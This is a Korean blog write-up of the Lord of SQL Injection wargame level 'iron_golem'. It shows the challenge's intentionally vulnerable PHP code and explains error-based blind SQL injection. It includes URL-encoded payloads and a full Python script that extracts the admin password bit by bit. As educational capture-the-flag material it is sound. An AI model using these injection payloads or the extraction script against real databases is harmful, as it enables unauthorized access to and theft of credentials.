LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.
이번 포스트는 dragon에 이어 iron_golem 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.
iron_golem문제를 들어가기 전에, 몬스터의 이미지를 보면... 겁나 간지나는 골렘의 모습입니다.
아니나 다를까 이번에도 난이도 높은 Blind SQL Injection입니다.
이번에는 또 어떤 필터링이 기다리고 있을까. 하악.
|
문제 이해 |
문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.
<?php include "./config.php"; login_chk(); dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(mysql_error()) exit(mysql_error()); echo "<hr>query : <strong>{$query}</strong><hr><br>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem"); highlight_file(__FILE__); ?>
위의 문제에서는 먼저 일반적인 Blind SQL Injection과는 다른 점이 있습니다.
적절한 테스트 쿼리를 넣어봤지만 결과 값이 전혀 나오지 않았습니다.
이는 예전에 있었던 출력문이 없기 때문입니다.
따라서 아무런 결과도 도출할 수 없습니다. admin인지 guest인지 알 수 없는 것이지요.
그러나, 이번에는 만약 에러가 발생하면 에러 문구가 출력되도록 했습니다.
정상적인 값을 입력하여 정상 결과를 출력 후, 맞는지 안 맞는지 판단하는 이전의 기법과는 별개로, 원하는 결과가 나오지 않을 시 에러를 발생시켜야 하는 문제입니다.
이를 Error Based SQL Injection이라고 합니다.
단, 여기서는 Error Based Blind SQL Injection인 게 조금 다른 것이지요.
|
Error Based Blind SQL Injection |
MySQL 에서 에러를 발생시킬 수 있는 방법은 다양합니다. 하지만 참일 때와 거짓일 때 구분하여 에러를 발생시키는 방법은 제한되어 있습니다. 일단은 에러를 이용하여 Blind SQL Injection을 하는 방법을 알아보겠습니다.
|
if() 함수로 참일 때, 거짓일 때 구분 |
MySQL에서 if() 함수를 사용하면 참일때와 거짓일 때 에러를 구분하여 발생시킬 수 있게 만들 수 있습니다. if 함수는 다음과 같은 방법으로 사용할 수 있습니다.
if( 조건문 , 참이면 여기를 실행 , 거짓일 때 여기를 실행)
if( 1=2, 'True', 'False'); -- false
if( 1=1, 'True', 'False'); -- true
|
에러 발생 |
에러를 발생시킬 방법은 다음과 같습니다.
만약 select 1 union select 2를 하게 되면 정상적으로 값이 출력될 것입니다.
select 1 union select 2;
하지만 다음과 같이 사용했다면 에러가 발생할 것입니다.
select if(1=1, (select 1 union select 2), 2);
여기서 나타난 에러는 ERROR 1242 (21000) : Subquery returns more than 1 row 라고 나타납니다.
이는 한 개의 row에 두 개 이상의 값이 한 번에 들어와지기 때문입니다.
비유하자면, 한 개의 박스 안에 두 개의 row가 들어갈 수 없기 때문에 하나의 값만 리턴하라! 라는 뜻입니다.
select 1 union select 2를 하게되면 다음과 같은 값이 select 됩니다.
1 |
1 |
2 |
만약 select if(1=1, (select 1 union select 2), 2);를 하게 되면 다음과 같이 값이 반환됩니다.
if(1=1, (select 1 union select 2), 2) |
||
|
사실 위와 같이 반환되는 것이 말이 안 됩니다. 하나의 row에 두 개의 row 값이 들어갈 수는 없기 때문입니다.
따라서 위와 같은 에러를 발생시킬 수 있게 됩니다.
|
문제 풀이(쿼리) |
먼저 쿼리를 수동으로 설정하여 전송하는 방법으로 어떤 것이 가능한지 알아보도록 합시다.
|
비밀번호 길이 알아내기 |
MySQL 함수인 if 함수와 length 함수를 이용하여 비밀번호의 길이를 알아내보도록 합시다.
아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.
https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=%27%20or%20id=%27admin%27%20and%20if(length(pw)=1,1,(select%201%20union%20select%202))%23 |
위의 쿼리는 pw 길이가 1이면 1을 반환하게하여 참이 되게 하고, 아니면 (select 1 union select 2)를 반환하게 하여 에러를 발생시키도록 하였습니다.
이는 pw=' or id='admin' and if(length(pw)=1,1,(select 1 union select 2))%23 으로 작성하였습니다.
그러나 위의 쿼리의 경우 참이 아니기 때문에 에러가 발생하게 됩니다. 만약 에러가 발생하지 않는다면, 비밀번호 길이를 알 수 있습니다.
이제 비밀번호를 알아내야 합니다.
|
비밀번호 값 알아내기 |
각 한 글자를 비교하는 쿼리를 만들어보도록 합시다.
https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=%27%20or%20id=%27admin%27%20and%20if(substr(lpad(bin(ord(substr(pw,1,1))),16,0),1,1)=1,1,(select%201%20union%20select%202))%23 |
위의 쿼리는 다음과 같은 값이 들어가 있습니다.
' or id='admin' and if(substr(lpad(bin(ord(substr(pw,1,1))),16,0),1,1)=1,1,(select 1 union select 2))%23
여기서는 substr 함수를 그대로 사용하였습니다. 또한 비트 수는 16으로 맞춰줬습니다. 혹시 8비트가 아닐 수 있으니ㅎㅎ..
만약 pw 값의 1번째 글자에서 1번째 비트가 1이면 참, 아니면 에러가 발생하는 코드입니다. 즉, 에러가 발생하면 0입니다.
이제 이러한 이해를 바탕으로 소스코드를 작성해보도록 하겠습니다.
|
문제 풀이(소스) |
import requests requests.packages.urllib3.disable_warnings() sess = requests.session() URL = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=' headers = {'Cookie': 'PHPSESSID=u8lg54n9mc59utvrhpi6krvvq6'} # get length of column ========================== passwordLen = 0 for i in range(1, 100): payload = "' or id='admin' and if(length(pw)={},1,(select 1 union select 2))%23".format(i) res = sess.get(url=URL+payload, headers=headers, verify=False) if 'Subquery' in res.text: pass else: passwordLen = i break print('[=] Find Password Length : %d' % passwordLen) bitLen = 16 Password = '' for j in range(1, passwordLen+1): bit = '' for i in range(1, bitLen+1): payload = "' or id='admin' and if(substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1,1,(select 1 union select 2))%23".format(j, bitLen, i) res = sess.get(url=URL+payload, headers=headers, verify=False) if 'Subquery' in res.text: # Error Occured!! It is not 1 bit += '0' else: # false!! bit += '1' Password += chr(int(bit, 2)) print('[=] Find Password(count %02d) : %s (bit : %s) (hex : %s)' % (j, chr(int(bit, 2)), bit, hex(int(bit, 2))[2:])) print('[=] Find Password : %s' % Password)
위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.
만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.
python의 pip 명령이 들지 않을 때(python pip error)링크
또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.
Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.
'WARGAMES > LOS(rubiya)' 카테고리의 다른 글
[LOS - Lord Of SQL] Level 24 - evil_wizard (0) | 2019.04.08 |
---|---|
[LOS - Lord Of SQL] Level 23 - hell_fire (0) | 2019.04.08 |
[LOS - Lord Of SQL] Level 22 - dark_eyes (1) | 2019.04.08 |
[LOS - Lord Of SQL] Level 20 - dragon (0) | 2019.04.05 |
[LOS - Lord Of SQL] Level 19 - xavis (0) | 2019.04.05 |
[LOS - Lord Of SQL] Level 18 - nightmare (1) | 2019.04.04 |
[LOS - Lord Of SQL] Level 17 - succubus (0) | 2019.03.28 |
[LOS - Lord Of SQL] Level 16 - zombie_assassin (0) | 2019.03.28 |